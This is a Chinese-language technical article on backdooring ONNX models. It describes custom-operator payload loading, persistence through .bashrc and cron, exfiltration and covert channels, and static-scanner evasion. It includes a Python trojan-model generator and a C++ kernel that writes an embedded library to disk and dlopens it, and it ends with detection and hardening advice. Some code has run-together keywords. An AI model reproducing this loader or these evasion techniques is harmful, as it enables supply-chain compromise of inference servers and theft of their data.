摘要

开放神经网络交换格式(ONNX)通过 Protobuf 结构描述计算图,其灵活的自定义操作机制允许绑定任意外部动态库。这一设计便利了硬件厂商的算子优化,却也使得模型文件成为可注入恶意代码的“特洛伊木马”。攻击者可将后门逻辑伪装成合法的预处理或量化算子,在模型中嵌入定制的动态库加载指令。当模型被 ONNX Runtime 等服务加载时,隐藏的代码便会悄无声息地启动反向 Shell、窃取推理数据或篡改预测结果。由于计算图结构极其复杂,大多数静态扫描工具难以识别这类寄生在算子语义中的“溶枪式”后门。

ONNX 的自定义算子和外部数据信任链路

自定义算子的能力边界

ONNX 的自定义算子通过 op_type 和 domain 标识,由推理引擎注册的内核实现。ONNX Runtime 提供 RegisterCustomOp 接口,允许开发者动态添加算子,内核可以调用任意系统 API。这一能力原本是为硬件加速器(如 TPU)预留的,却也为攻击者打开了执行任意代码的通道。攻击者只需将恶意内核封装为动态库(libCustomOp.so),并在模型加载时通过配置文件或环境变量指定该库的路径,即可在推理进程上下文中执行任意操作。

更隐蔽的方式是,攻击者直接修改模型文件中的 external_data 字段,将恶意动态库打包为张量的“权重数据”。在 ONNX 规范中,大张量可通过 external_data 引用外部文件,但也可以将整个库嵌入模型内部。当模型首次推理时,自定义内核的初始化函数会解包该文件到临时目录并调用 dlopen,从而完成自我加载——整个过程无需用户额外配置任何库文件。

模型加载流程中的可注入点

ONNX Runtime 的模型加载流程主要包括:解析模型文件 → 构建计算图 → 注册内置和自定义算子 → 分配内存 → 执行图。

攻击者可劫持以下环节:

  • 图构建阶段:通过修改 GraphProto 中的 node 条目,插入一个高优先级的自定义算子,声称用于“权重解密”或“校验和验证”。该算子会在模型加载后立即执行,先于正常推理。
  • 算子注册阶段:若推理服务允许通过环境变量 ORT_CUSTOM_OP_LIBRARY 指定自定义库,攻击者可通过模型附带的启动脚本设置该变量,实现环境投毒。
  • 外部数据解析阶段:利用 external_data 的 offset 和 length 字段,将一个看似正常的张量指向模型文件末尾的恶意 Shellcode,再由自定义算子读取并执行。

多阶段溶枪攻击链

环境准备与侦察

攻击者植入的第一个自定义算子名为 EnvProbe,域为 ai.utils。它在 ONNX 图中被标记为 Constant 节点的“消费者”,宣称负责“设备能力探测”。实际上,该算子执行以下操作:

  1. 检查当前进程权限和操作系统版本;
  2. 读取环境变量,确认是否在目标推理服务器上运行;
  3. 若判定为生产环境,则释放第二阶段载荷;否则保持静默。

这种选择性激活的策略有效规避了在开发或测试环境中被提前发现的风险。

动态库落地与持久化

EnvProbe 通过 external_data 获取一个压缩的共享库 libsyslog.so(伪装成日志库)。算子将其解压到 ~/.cache/ort_custom/libsyslog.so,并调用 dlopen 加载。该库的构造函数会:

  • 修改 ~/.bashrc,追加一条自动拉取远程脚本的命令;
  • 在 /etc/cron.d/ort_health 中写入一个每 10 分钟执行的定时任务,用于维持反向 Shell;
  • 注册一个新的自定义算子 DataSink,用于后续数据窃取。

数据窃取与回传

DataSink 算子伪装成“数据校验”模块,在模型每次推理后运行。它读取输入张量和推理结果,将其转换为 PNG 图像或 JSON 文本,通过 HTTPS 发送到攻击者控制的服务器。由于推理服务通常在高带宽内网中运行,且连接外部 API 的行为并不罕见,这种数据泄漏极难被流量监控识别。

更隐蔽的是,DataSink 可以使用模型的正常输出通道(如返回给用户的分类标签)作为隐蔽信道:将敏感数据编码在标签的置信度小数位中,随正常响应流出,由外部接收器解码还原。

构建携带自加载后门的 ONNX 模型

以下代码演示如何将恶意动态库嵌入 ONNX 模型的 external_data 中,并通过自定义算子在加载时执行。

创建携带后门的 ONNX 模型

#!/usr/bin/env python3
# onnx_trojan.py — 嵌入自加载后门的 ONNX 模型生成器

import onnx
from onnx import helper, TensorProto
import numpy as np
import os

defcreate_trojan_model(payload_path, output_path):
# 读取恶意动态库
with open(payload_path, "rb") as f:
        payload_data = f.read()

# 将载荷伪装为 "model_checksum" 的外部数据
    initializer = helper.make_tensor(
        name="model_checksum",
        data_type=TensorProto.UINT8,
        dims=[len(payload_data)],
        vals=payload_data,
        raw=True
    )

# 创建解包节点:名为 SecureUnpack,域为 ai.security
    unpack_node = helper.make_node(
        op_type="SecureUnpack",
        inputs=["model_checksum"],
        outputs=["model_weights"],
        domain="ai.security",
        name="InitSecurity"
    )

# 伪造一个正常输入
    input_tensor = helper.make_tensor_value_info("input", TensorProto.FLOAT, [1, 3, 224, 224])
    output_tensor = helper.make_tensor_value_info("output", TensorProto.FLOAT, [1, 1000])

    graph = helper.make_graph(
        nodes=[unpack_node],
        name="TrojanModel",
        initializer=[initializer],
        inputs=[input_tensor],
        outputs=[output_tensor],
    )

    model = helper.make_model(graph, producer_name="AI-Security-Utils")
    model.opset_import.append(onnx.OperatorSetIdProto(domain="ai.security", version=1))

# 将载荷追加为外部数据(嵌入模型文件)
with open(output_path, "wb") as f:
        f.write(model.SerializeToString())
# 在文件末尾附加原始载荷,供 external_data 引用
        f.write(payload_data)

    print(f"[+] 后门模型已保存至 {output_path}")
    print(f"    嵌入载荷大小: {len(payload_data)} 字节")

if __name__ == "__main__":
# 示例:使用一个无害的“恶意”动态库(可替换为真正的后门)
ifnot os.path.exists("fake_payload.so"):
with open("fake_payload.so", "wb") as f:
            f.write(b"\x7fELF...")  # 简化的 ELF 头
    create_trojan_model("fake_payload.so", "backdoor.onnx")

说明:上述脚本将 fake_payload.so 嵌入 ONNX 模型的 initializer 中,并通过自定义算子 SecureUnpack 引用。在实际攻击中,该算子会在推理时被触发,将载荷写入磁盘并执行。模型文件末尾追加了原始载荷,供 external_data 机制的 offset 字段指向。

模拟恶意自定义算子内核

// secure_unpack_kernel.cpp — 恶意内核:解包并执行载荷
// 编译:g++ -shared -fPIC -o libsecureunpack.so secure_unpack_kernel.cpp
#include<onnxruntime_cxx_api.h>
#include<fstream>
#include<cstdlib>
#include<dlfcn.h>

structSecureUnpackKernel : Ort::CustomOpBase<SecureUnpackKernel, OrtCustomOp> {
voidCompute(OrtKernelContext* context)override{
// 获取输入张量(载荷数据)
constauto* input = context->GetInput(0);
auto* info = input->GetTensorTypeAndShapeInfo();
size_t data_len = info->GetElementCount();
constuint8_t* data = input->GetTensorData<uint8_t>();

// 将载荷写入临时文件
std::string lib_path = "/tmp/.cache/model_init.so";
std::ofstream out(lib_path, std::ios::binary);
        out.write(reinterpret_cast<constchar*>(data), data_len);
        out.close();

// 动态加载并执行
void* handle = dlopen(lib_path.c_str(), RTLD_LAZY);
if (handle) {
typedefvoid(*init_func)();
auto init = (init_func) dlsym(handle, "init");
if (init) init();
        }
    }
};

extern"C"OrtCustomOp* CreateCustomOp(constchar* domain, constchar* op_type){
returnnew SecureUnpackKernel;
}

说明:该内核在模型推理执行到 SecureUnpack 节点时被调用,将输入张量(即嵌入的载荷)写入磁盘,然后动态加载并执行其中的 init 函数。攻击者可将反向 Shell 或数据窃取逻辑放在该初始化函数中。

绕过静态检测的技巧

  • 载荷分片:将恶意库拆分为多个 Constant 节点,在图中通过 Concat 操作组装,使任何单个张量都不包含完整的可执行文件头。
  • 假算子链:在恶意操作前后添加一系列合法的预处理/后处理算子,形成看似合理的优化流水线。
  • 条件触发:通过 If 算子或 Loop 算子,使恶意操作仅在特定输入形状或推理次数时才激活,在沙箱或扫描环境中保持休眠。

防御与检测

静态图分析

  • 自定义算子审计:提取模型中所有 domain 非标准 ONNX 域的算子,与白名单比对。重点关注包含 systemcurlexec 等字符串的属性。
  • 外部数据溯源:检查所有 external_data 引用的文件大小和熵值。高熵值或包含 ELF/PE 头部的数据应被立即标记。
  • 控制流复杂度分析:正常模型的图结构通常具有明确的层级和重复模块,而后门模型的图往往包含孤立的、与主体逻辑无关的算子链。

运行时防护

  • 禁止自动加载自定义库:在生产环境中,禁用 ONNX Runtime 的环境变量 ORT_CUSTOM_OP_LIBRARY 和配置文件中的自定义库路径,仅使用编译期注册的内置算子。
  • 系统调用过滤:使用 seccomp 或 AppArmor 限制推理进程的系统调用,禁止 execvedlopen 等危险操作。
  • 输出验证:对推理输出进行统计异常检测,若发现置信度向量中某些维度出现不合理的周期性波动,可能为数据泄漏的信道。

供应链加固

  • 模型签名:模型提供者应对 ONNX 文件进行数字签名,推理端在加载前验证签名和证书链。
  • 依赖最小化:模型应声明所需的自定义算子及哈希值,推理环境仅加载预注册的、已审计的内核。

结语

ONNX 自定义算子的无限扩展性,为 AI 供应链注入了一剂慢性毒药。攻击者将恶意代码封装在看似无害的“优化器”、“校验器”中,让模型在加载的瞬间从工具变为武器。传统的模型扫描器关注权重和精度,却对计算图的结构本身视而不见。当推理服务以 root 权限运行,并能够动态加载任意库时,每个 ONNX 文件都可能是一把等待扣动的溶枪。